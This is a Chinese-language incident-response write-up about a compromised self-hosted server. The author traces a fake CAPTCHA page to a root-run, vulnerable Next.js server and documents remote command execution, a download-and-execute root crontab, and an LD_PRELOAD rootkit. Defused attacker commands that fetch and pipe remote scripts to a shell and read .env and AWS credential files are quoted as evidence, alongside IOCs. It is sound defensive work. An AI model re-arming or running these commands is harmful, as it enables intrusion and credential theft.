2026 年 8 月 12 日,我发现自己的网站 www.xxx.com(原个人域名已脱敏,下称“站点 A”)突然无法下拉。
页面能打开,图片和文字也在,却被一个假验证码遮罩死死盖住。滚动条消失,html 和 body 被写入 overflow: hidden,页面不断诱导访客完成所谓的“BotGuard 验证”。如果只看现象,这很像一次普通的前端兼容问题,或者某个组件忘了在关闭弹窗时恢复滚动。
但另一个事实让我没办法把它当成前端 Bug:同一台公网服务器上的 api.xxx.com(原域名已脱敏,下称“站点 B”)完全正常。
最后查出来的结果,比网页注入严重得多。站点 A 对应的 Next.js 进程已经可以被外部请求执行系统命令,而且它恰好以 root 身份运行。PM2 日志记录了对同机项目、环境变量和内网数据库的扫描,系统里还出现了 root 定时任务与 LD_PRELOAD Rootkit。网页无法下拉,只是整条攻击链浮出水面的最后一层油花。
这篇文章不做一份抽象的安全检查清单。我按当天的实际调查顺序,把自己如何发现、如何缩小范围、如何用输出举证、又为什么没有直接删文件重启服务器,完整记录下来。
文中的命令输出来自当时的真实现场。为避免暴露身份与基础设施,个人域名、公网和内网 IP、业务端口、PID、业务账户目录、项目名、日志名、站点响应与私有日志哈希、响应
ETag,以及恶意 URL 中可能用于关联受害者的子域和路径 ID,均已用xxx、站点 A/B、项目 A/B等占位符脱敏,这些占位符不可直接执行。密码、Token、FRP 身份信息已经删除。CVE、恶意文件哈希和攻击者 IOC 为保留检测价值而保留,其中恶意地址已用hxxp、[.]失活。
一、网页突然无法下拉:这不像普通的前端 Bug
从滚动条消失开始
网页无法下拉的直接原因并不神秘:恶意脚本创建了一个覆盖全屏的假验证层,同时锁定页面滚动。真正危险的部分藏在返回的 HTML 中——它不是引用一个正常的站内脚本,而是塞入了一段 data:text/javascript;base64 形式的代码。
我先不点击页面,也不执行它提供的任何内容,只对响应做静态检查:
curl -sS https://www.xxx.com/ -o site-a.html
wc -c site-a.html
sha256sum site-a.html
grep -ao 'data:text/javascript;base64' site-a.html | wc -l
后来在上游端口复核时,得到的响应证据是:
25211 /tmp/site-a-evidence.html
<站点 A 响应 SHA-256 已脱敏> /tmp/site-a-evidence.html
1
25,211 字节的 HTML 中,确实出现了一次 data:text/javascript;base64。解码后可以看到假验证码、剪贴板写入和远程载荷下载逻辑。页面最终希望用户复制到终端的结构大致如下:
# 已失活,切勿还原并执行
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL \
'hxxps://xxxxxxxx[.]foodpapajobs[.]com/?ublib=<已脱敏>')"
这已经不是“页面样式写坏了”。它在利用假验证界面制造紧迫感,再把真正的恶意执行转移到用户自己的终端。网页本身负责说服人,Shell 才负责完成入侵。
当时我也已经执行过这条假验证命令。后来查到 Mac 上的执行时间是 8 月 12 日 14:13。但这里还有一个必须回答的问题:恶意页面到底来自我的浏览器、Caddy、FRP,还是业务程序本身?
如果不把这一层查清,后面所有“修复”都可能只是在错误的位置忙碌。
二、同一个公网 IP,为什么只有 9xxx 端口异常
站点 A 和站点 B 都解析到 8.xxx.xxx.xxx(公网 IP 已脱敏)。一个异常、一个正常,很容易让人怀疑“如果服务器真的被黑,为什么其他网站没事?”
这个问题看似合理,却混淆了公网入口和业务进程。共用一个 IP,不代表共用一套应用。
先看 Caddy 把请求送去了哪里
我在公网主机 8.xxx.xxx.xxx 上读取 Caddy 配置,实际输出如下:
www.xxx.com, xxx.com {
reverse_proxy localhost:9xxx
encode zstd gzip
}
api.xxx.com {
reverse_proxy localhost:xxxx
}
两个域名只是在公网入口处相遇,进门之后立刻分流:站点 A 走 9xxx,站点 B 走 xxxx。
于是我绕过域名和外部浏览器,直接请求 FRP 服务端本机的两个端口,并分别计算响应大小、哈希和恶意特征命中数:
curl -sS -H 'Host: www.xxx.com' \
http://127.0.0.1:9xxx/ -o /tmp/site-a-evidence.html
wc -c /tmp/site-a-evidence.html
sha256sum /tmp/site-a-evidence.html
grep -ao 'data:text/javascript;base64' /tmp/site-a-evidence.html | wc -l
curl -sS -H 'Host: api.xxx.com' \
http://127.0.0.1:xxxx/ -o /tmp/site-b-evidence.html
wc -c /tmp/site-b-evidence.html
sha256sum /tmp/site-b-evidence.html
grep -ao 'data:text/javascript;base64' /tmp/site-b-evidence.html | wc -l
真实输出:
PORT_9XXX
25211 /tmp/site-a-evidence.html
<站点 A 响应 SHA-256 已脱敏> /tmp/site-a-evidence.html
1
PORT_XXXX
4634 /tmp/site-b-evidence.html
<站点 B 响应 SHA-256 已脱敏> /tmp/site-b-evidence.html
0
证据已经把范围缩到了 9xxx,但还不能立刻断言是后端应用被注入。因为 9xxx 在公网服务器上只是 FRP 映射端口,真正的上游位于内网业务主机 192.xxx.xxx.xxx(内网 IP 已脱敏)。
再绕过 FRP,直连真正的上游
我登录 192.xxx.xxx.xxx,直接请求它自己的 127.0.0.1:9xxx:
curl -sS http://127.0.0.1:9xxx/ -o /tmp/local-9xxx-evidence.html
wc -c /tmp/local-9xxx-evidence.html
sha256sum /tmp/local-9xxx-evidence.html
grep -ao 'data:text/javascript;base64' /tmp/local-9xxx-evidence.html | wc -l
curl -sSI http://127.0.0.1:9xxx/ | \
grep -Ei 'HTTP/|x-powered-by|x-nextjs-cache|etag'
输出与公网 FRP 的 9xxx 完全一致:
LOCAL_9XXX
25211 /tmp/local-9xxx-evidence.html
<站点 A 响应 SHA-256 已脱敏> /tmp/local-9xxx-evidence.html
1
HTTP/1.1 200 OK
x-nextjs-cache: HIT
X-Powered-By: Next.js
ETag: "<已脱敏>"
同样的 25,211 字节,同样的 SHA-256,同样命中一次恶意 data: 脚本。
到这里可以排除 DNS、浏览器扩展、Caddy 和 FRP 服务端注入。恶意 HTML 在 192.xxx.xxx.xxx:9xxx 的响应链路中就已经出现。Caddy 和 FRP 没有替它加内容,只是忠实地把有毒的响应送了出来。至于内容来自应用源码、构建产物、缓存还是进程运行时篡改,还要继续看 9xxx 本身。
三、从 9xxx 端口追到 Next.js:日志给出了 RCE 铁证
确认恶意响应来自内网 9xxx 后,我开始从端口反查进程。
ss -lntp | grep ':9xxx'
ps -p 10xxxxx -o user,pid,ppid,lstart,stat,cmd
readlink -f /proc/10xxxxx/exe
readlink -f /proc/10xxxxx/cwd
现场输出:
LISTEN 0 511 0.0.0.0:9xxx 0.0.0.0:* \
users:(("next-server (v1",pid=10xxxxx,fd=20))
USER PID PPID STARTED STAT CMD
root 10xxxxx 10xxxxx 四 7月 30 17:43:27 2026 Ssl next-server (v15.3.0)
/root/.volta/tools/image/node/20.19.6/bin/node
/home/xxx/project-a/.next/standalone
这里出现了两个非常糟糕的信号:
- 服务运行的是
next-server v15.3.0; - Web 进程不是普通应用用户,而是
root。
我继续读取项目依赖版本:
cd /home/xxx/project-a
node -e "let p=require('./package.json'); console.log(JSON.stringify({
next:p.dependencies.next,
react:p.dependencies.react,
reactDom:p.dependencies['react-dom']
}, null, 2))"
输出:
{
"next": "15.3.0",
"react": "19.0.0",
"reactDom": "19.0.0"
}
项目不是旧的 Pages Router。路由目录也能直接确认:
find app -maxdepth 2 -type f -print
实际输出:
app/page.tsx
app/globals.css
app/layout.tsx
Next.js 官方在 CVE-2025-66478 公告中确认:使用 App Router 的 Next.js 15.x 和 16.x 受到 React Server Components 无认证远程代码执行漏洞影响。15.3.6 是 15.3.x 针对这项 RCE 的首个修复版本;后续安全更新又继续提高了最低安全版本。这台服务器停留在 15.3.0,显然位于受影响范围内。
版本命中只能证明“具备被利用条件”,不能证明“已经被利用”。真正把结论钉死的,是 PM2 错误日志。
日志里出现了攻击者执行命令的回显
我从 /root/.pm2/logs/site-a-error.log 中检索 Server Action、系统命令和 RCE 输出:
rg -n \
'Failed to find Server Action|RCE_OUT|Command failed: cat .env|uid=0' \
/root/.pm2/logs/site-a-error.log
部分真实输出如下:
14: ⨯ [Error: Command failed: cat .env*
38: ⨯ [Error: Command failed: cat ~/.aws/credentials
62: ⨯ [Error: Command failed: cat .env
289: [Error: Failed to find Server Action "x".
292: ⨯ [Error: Command failed: cat .env
306: [Error: Failed to find Server Action "x".
396: digest: '<<RCE_OUT>>uid=0(root) gid=0(root) 组=0(root)\n' +
这些行不是同一条 HTTP 请求的完整记录,但放在同一份运行日志里,能证明两件事:Next 服务收到了构造的 Server Action/RSC 请求;系统命令也确实在该进程上下文中执行,攻击者尝试读取 .env 和云凭据,并把 id 的结果带回异常 digest。输出不是 www-data,而是:
uid=0(root) gid=0(root) 组=0(root)
攻击者没有停留在验证漏洞是否存在。他们继续枚举其他项目和数据库目标:
578: digest: '<<RCE_OUT>>/home/xxx/project-b/.env.production\n' +
718: digest: '<<RCE_OUT>>=== EVM_CODE_HUNT_BEGIN ===\n' +
1990: digest: '<<RCE_OUT>>KIND=mysql HOST=localhost PORT=3306\n' +
2005: digest: '<<RCE_OUT>>KIND=mysql HOST=192.xxx.xxx.xxx PORT=3306\n' +
2035: digest: '<<RCE_OUT>>KIND=mysql HOST=118.xxx.xxx.xxx PORT=5432\n' +
2050: digest: '<<RCE_OUT>>KIND=mysql HOST=118.xxx.xxx.xxx PORT=3306\n' +
我把这份日志下载到可信的 Mac 上并计算哈希,避免后续服务器文件继续变化:
<私有日志 SHA-256 已脱敏> site-a-error.log
基于“受影响版本 + App Router + 构造的 Server Action/RSC 请求 + root 命令回显”这组证据,我对 React2Shell / CVE-2025-66478 的入口归因具有很高信心。严谨地说,因为没有保存到最初那一条完整 HTTP 利用请求,我不会写成“已经逐字还原攻击载荷”。
但服务器被 9xxx 端口的 Next.js 请求执行到 root,已经不是推测。
四、真正危险的不是网页,而是 Rootkit
如果调查停在“升级 Next.js、重启 PM2”,这次入侵就会被严重低估。现场还能确认,操作系统里已经存在第二套生存机制。
这里也要区分“同机发现”和“同一操作者”。现有证据能确认 Web RCE 与系统级持久化同时存在,时间关系也支持它们属于同一条攻击链;但缺少完整访问日志和审计日志,我无法把某一条 RCE 请求与安装 Rootkit 的具体命令逐条对应。因此本文把它定为高度疑似同一入侵链,而不是宣称已经确认同一攻击团伙。
每分钟拉取一次 .kworkerd
检查 root 的计划任务时,我找到下面这一行:
# `[.]` 在扩展正则中匹配字面量点,既失活展示又能用于检索
grep -RInsE '193[.]32[.]162[.]73' \
/var/spool/cron /etc/cron.d /etc/crontab 2>/dev/null
原始输出很长,下面仅把 URL 失活:
/var/spool/cron/crontabs/root:1:* * * * * /bin/sh -c \
'{ kill -0 6xxxxx 2>/dev/null || grep -q 0100007F:Axxx \
/proc/net/tcp 2>/dev/null; } && exit 0; \
(wget -qO- hxxp://193[.]32[.]162[.]73/d/xxxxxxxxxxxxxxxx/init.sh || \
curl -sL hxxp://193[.]32[.]162[.]73/d/xxxxxxxxxxxxxxxx/init.sh) | \
/bin/sh' > /dev/null 2>&1
它每分钟检查一个已脱敏的 PID 6xxxxx 或本地 TCP 端口 0xAxxx。只有当 PID 不存在、该端口也没有出现时,才从外部地址下载 init.sh 并直接管道给 /bin/sh。
进程树中还出现了反复下载恶意本体的命令:
wget -T 180 -t 1 -qO /tmp/.kworkerd \
hxxp://193[.]32[.]162[.]73/d/xxxxxxxxxxxxxxxx/bins/kworkerd
计划任务的文件时间也被保存下来:
/var/spool/cron/crontabs/root
size=264
mtime=2026-08-12 09:21:07.864810141 +0800
ctime=2026-08-12 09:21:07.864810141 +0800
mode=600
这不是残留在磁盘上的一份“死文件”。调查时它仍在每分钟触发。
LD_PRELOAD 让常用命令开始说谎
更麻烦的证据出现在 /etc/ld.so.preload:
cat /etc/ld.so.preload
输出只有一行:
/usr/lib/libproc.so
/etc/ld.so.preload 会要求动态链接器在程序启动时优先加载指定共享库。放在正常环境里,它可以服务于调试和兼容;落到攻击者手里,它可以在 ls、ps、ss、stat 等命令真正访问系统数据之前,先改写它们看到的结果。
我用 stat 记录两个文件的元数据,再计算 SHA-256:
stat -c '%n|size=%s|mtime=%y|birth=%w|mode=%a' \
/etc/ld.so.preload /usr/lib/libproc.so
sha256sum /etc/ld.so.preload /usr/lib/libproc.so
/etc/ld.so.preload|size=20|mtime=2026-08-10 18:40:34.395896213 +0800|birth=2026-08-04 19:27:25.333481247 +0800|mode=666
/usr/lib/libproc.so|size=19984|mtime=2026-08-10 18:40:34.395896213 +0800|birth=2026-08-10 18:40:34.395896213 +0800|mode=644
052a1d01204ba36631e4eee8250e64025ce9e1df0df0b9764ab50fcab50d9ec5 /usr/lib/libproc.so
7749d33c3660017b020e4e32264c1c6bd080e9708ef703890bf9a79de8b9c009 /etc/ld.so.preload
/usr/lib/libproc.so 不属于系统软件包。查看它导出的动态符号,可以看到一组非常有指向性的函数:
000000000000330b T access
000000000000305b T fopen
00000000000032de T fopen64
0000000000002fdc T lstat
000000000000290e T open
0000000000002ba9 T openat
0000000000002e47 T readdir
0000000000002ed2 T readdir64
00000000000028a0 T readlink
00000000000034a9 T rename
0000000000002f5d T stat
000000000000338a T unlink
000000000000340d T unlinkat
readdir 可以过滤目录项,open 和 fopen 可以拦截文件读取,stat 可以伪造文件状态,readlink 可以隐藏 /proc/<pid>/exe 的真实指向。库内还能看到 RK_PORTS、RK_FILES、/proc/net/tcp 以及对 rkhunter、chkrootkit、clamscan 等工具名的处理痕迹。
这种拦截能力足以造成普通 ps、ss 和 lsof 的结果互相矛盾,也与现场现象一致。不是 Linux 忽然失忆了,而是查询 Linux 的工具可能先被套上了一副攻击者准备的眼镜。
到了这一步,“在原系统里删掉几个文件继续用”已经不再是可靠的修复方案。root 权限加上用户态 Rootkit,意味着这台机器无法继续证明自己的清白。
五、还原时间线:服务器先失陷,Mac 后中招
调查中最容易被带偏的一件事,是把自己刚刚执行的恶意命令当成所有问题的起点。
我一开始也担心:是不是 14:13 在 Mac 上执行假验证码命令后,攻击者拿到浏览器数据,再反向登录了服务器?文件时间给出了不同答案。
Mac 端的取证记录保留了这一行实际输出:
2026-08-12 14:13:04 | 恶意远程脚本命令执行 | foodpapajobs[.]com 下载器
确认:已执行 /bin/bash -c + curl 下载命令
| 时间 | 实际证据 | 能够得出的判断 |
|---|---|---|
| 8 月 4 日 19:27 | /etc/ld.so.preload 的最早可见创建时间 | 系统级异常最晚在此时已经出现 |
| 8 月 10 日 18:40 | /usr/lib/libproc.so 与 preload 文件同时被写入 | Rootkit 被安装或更新 |
| 8 月 12 日 09:21 | root crontab 的 mtime/ctime | 每分钟下载任务已经落地 |
| 8 月 12 日 14:13 | Mac 本地命令记录 | 假验证诱导发生在服务器失陷之后 |
能够确定的是:服务器上的系统级异常早于我在 Mac 上执行假验证命令。8 月 12 日,恶意页面又把攻击链延伸到了访客终端。我的 Mac 是后续受害者,不是这次服务器入侵的源头。
不过,时间戳只能叫作“最早可见证据”,不能武断地等同于第一次入侵时间。root 攻击者有能力修改文件时间,也可能在写入 Rootkit 之前已经活动了一段时间。缺少更早的反向代理访问日志和完整 HTTP 请求,无法把首次利用精确到某一秒、某一个来源 IP。
其他网站正常,不代表其他数据安全
fn.xxx.com 没出现假验证码,是因为它走 5xxx,不经过存在漏洞的 Next.js 9xxx。它没有成为入口,却和站点 A 位于同一台已经被 root 控制的 192.xxx.xxx.xxx 上。
root 不关心目录属于哪个项目。攻击日志已经证明对方做过这些动作:
- 尝试读取当前项目的
.env、~/.aws/credentials和 Claude 凭据; - 找到
/home/xxx/project-b/.env.production; - 搜索 EVM、私钥和链上配置;
- 枚举
localhost、192.xxx.xxx.xxx、118.xxx.xxx.xxx上的 MySQL/PostgreSQL 目标; - 读取 PM2 环境和项目路径。
这里也要守住证据边界。日志能证明命令执行、扫描和读取尝试发生过,也能证明部分路径与数据库目标已经被发现;它不能单独证明每个文件都读取成功、每个数据库都成功登录,更不能证明所有业务数据都被完整导出。
安全处置不会因此变轻。只要凭据曾经处于 root 可读范围,就应该按可能泄露处理。等到真的在暗网或异常登录日志中看到它被使用,已经晚了一步。
六、如何取证与处理:不要急着重启
看到 /tmp/.kworkerd 和 root crontab 后,人的本能是 kill -9、删文件、重启。说实话,我当时也很想立刻把它们清掉。
但这三个动作会同时破坏进程、内存、网络连接和文件时间现场,而且不一定清得干净。攻击者已经能通过定时任务复活载荷,LD_PRELOAD 又能欺骗常用命令。删掉你看见的东西,不等于删掉你没看见的东西。
先从宿主机外部隔离
可靠的隔离应该发生在虚拟化平台、交换机、路由器或上游防火墙,而不是完全依赖失陷主机自己的 iptables。至少切断公网入站和非必要出站,同时保留一条受控的管理取证通道。
在我的场景里,需要立刻下线网站 A的 FRP 映射,并阻断这些已知 IOC:
193[.]32[.]162[.]73
xxxxxxxx[.]foodpapajobs[.]com
/d/xxxxxxxxxxxxxxxx/init.sh
/tmp/.kworkerd
/usr/lib/libproc.so
如果环境支持虚拟机快照和内存快照,应在重启前完成。磁盘最好以只读方式挂载到可信分析机,再检查文件系统。继续在原机上运行大量命令,既会污染时间线,也可能被 Rootkit 返回假结果。
保存证据,而不是只截一张图
这次我至少保存了以下材料:
- 9xxx 与 5xxx 的原始 HTTP 响应、大小和 SHA-256;
- Caddy 域名到端口的映射;
- 9xxx 监听进程、PID、父进程、工作目录和依赖版本;
- PM2
site-a-error.log的取证副本及哈希; - root crontab 原文和文件时间;
/etc/ld.so.preload、libproc.so的元数据、哈希和符号表;- SSH 登录时间线、监听端口和可疑外联;
- Mac 端恶意命令的执行时间及本地落地物。
下面这些命令可以帮助记录现场,但在存在 LD_PRELOAD Rootkit 时,输出只能作为一部分证据,不能被当作绝对真实:
date -Ins
ss -lntup
ps -eo user,pid,ppid,lstart,stat,cmd --forest
stat /etc/ld.so.preload /usr/lib/libproc.so \
/var/spool/cron/crontabs/root
sha256sum /etc/ld.so.preload /usr/lib/libproc.so \
/root/.pm2/logs/site-a-error.log
journalctl --list-boots
journalctl -u ssh --since '2026-08-01 00:00:00'
哈希的价值不在于“看起来专业”,而是证明分析的始终是同一份证据。不过,在 Rootkit 仍然生效的宿主机上计算出的哈希只能用于初步记录;最终应在可信救援环境或只读镜像上重新计算。复制后如果对不上,就必须解释差异来自日志继续写入、传输损坏,还是文件已经被修改。
凭据必须在干净设备上轮换
攻击日志已经把影响范围从一个官网扩展到整台主机和它能访问的内网。凭据轮换应在可信设备上进行,至少覆盖:
- root 与普通用户密码、SSH 密钥、
authorized_keys; - FRP Panel、FRP Client 身份和面板登录凭据;
- MySQL、PostgreSQL、Redis、RabbitMQ 密码;
- 应用
.env中的 Session、JWT、Cookie、加密密钥和第三方 API Token; - 云平台、Git、npm、AWS、Claude 等开发凭据;
- 这台主机能够免密访问的其他服务器和数据库。
只改服务器 root 密码没有意义。攻击入口原本就不是一次可疑 SSH 登录,而是对外暴露的 Web RCE。
这台机器不原地修,直接重建
我的处理判断很明确:从可信镜像重装 192.xxx.xxx.xxx,而不是删除 /usr/lib/libproc.so 后继续承载生产服务。
恢复时只迁移经过审查的源码和业务数据,不复制旧的 .next、node_modules、PM2 目录、系统二进制、启动脚本和未知缓存。Next.js 也不能只升到当年修复 React2Shell 的 15.3.6 就停下;截至 2026 年 7 月,官方维护版本已经要求升级到 15.5.21,或者迁移到当前受支持的 16.2.11。
新环境还需要改掉几个让事故扩大的条件:
- Web 进程使用独立的非 root 用户;
- 9xxx 只监听回环或受控内网,不直接绑定
0.0.0.0; - Redis 6379、RabbitMQ 15672/5672 不向无关网段暴露;
- 每个项目使用独立账户、独立凭据和清晰的网络边界;
- 在 Caddy/WAF 层临时拦截异常 RSC/Server Action 请求,只把它当作应急降险;官方公告明确说明这项 RCE 没有可替代升级的 workaround;
- 建立依赖漏洞扫描、文件完整性监控和异常出站告警。
相关官方公告:
- Next.js Security Advisory: CVE-2025-66478
- React:Critical Security Vulnerability in React Server Components
- Next.js July 2026 Security Release
完成取证时,那条 root crontab 还躺在第一行。分钟字段是五个星号。
它不会等我把文章写完。